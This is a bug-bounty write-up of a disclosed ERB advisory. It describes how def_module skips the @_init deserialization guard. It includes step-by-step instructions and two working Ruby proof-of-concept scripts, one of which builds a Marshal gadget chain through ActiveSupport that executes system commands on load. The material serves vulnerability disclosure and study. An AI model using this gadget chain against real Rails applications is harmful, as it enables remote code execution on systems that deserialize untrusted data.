# ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

ERB's @_init deserialization guard was missing on def_method/def_module/def_class, letting a Marshal.load gadget chain reach eval and achieve RCE.

- Payout: Research
- Severity: high
- Program: ERB
- Found by: TristanInSec
- Disclosed: 2026-04-24
- CVE: CVE-2026-41316
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-q339-8rmv-2mhv
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-q339-8rmv-2mhv
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:ruby technique:chained technique:incomplete-fix technique:source-review vuln:deserialization vuln:rce

**Target:** Ruby ERB gem (ERB#def_method/def_module/def_class eval sink)
**Root cause:** The @_init initialization guard added to ERB#result and ERB#run was never applied to def_method, def_module, or def_class, which all reach eval(@src) via module_eval on a Marshal-reconstructed object.
**Steps:**
1. Allocate an ERB object without initialize: `erb = ERB.allocate`
2. Set `@src` to `"end\n system('id')\ndef x"` and `@lineno` to 0
3. Confirm `erb.result` raises ArgumentError (guard works)
4. Call `erb.def_module` (zero-arg) — def_method wraps src as `def erb\n...\nend`, the leading `end` closes the method early and `system('id')` runs at module_eval time
5. For deserialization: build `ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy` with `:@instance => erb`, `:@method => :def_module`, `:@var => "@x"`, `:@deprecator => Kernel`, `Marshal.dump({proxy => 0})`, then `Marshal.load` triggers method_missing(:hash) -> def_module -> RCE
**How found:** Noticed the @_init guard was added only to result/run; audited other public methods that eval @src and found def_method/def_module/def_class unguarded, then realized zero-arg def_module fits Marshal gadget chains and the `end` prefix breaks out of the method wrapper.
**Exploitation:** Attacker supplies untrusted Marshal data to an app loading erb+activesupport. Hash key insertion calls .hash on the proxy, method_missing dispatches to ERB#def_module, which evals attacker @src with the end-breakout, executing arbitrary commands as the app user.
**Escalation:** Chained ERB eval sink with ActiveSupport::DeprecatedInstanceVariableProxy method-dispatch gadget to convert a deserialization primitive into universal RCE across Rails 3.2+ apps.
**Insight:** When a security patch adds a guard to some eval sinks, enumerate every other method that reaches the same eval and check which are zero-arg callable — those are the ones gadget chains can invoke. Also, method-wrapping defenses fall to a leading `end` in the payload.

## Proof of concept (copied exactly from the original report)

**Minimal ERB def_module guard bypass PoC**

```
require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)
```

**Marshal.load RCE via DeprecatedInstanceVariableProxy gadget**

```
require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)
```

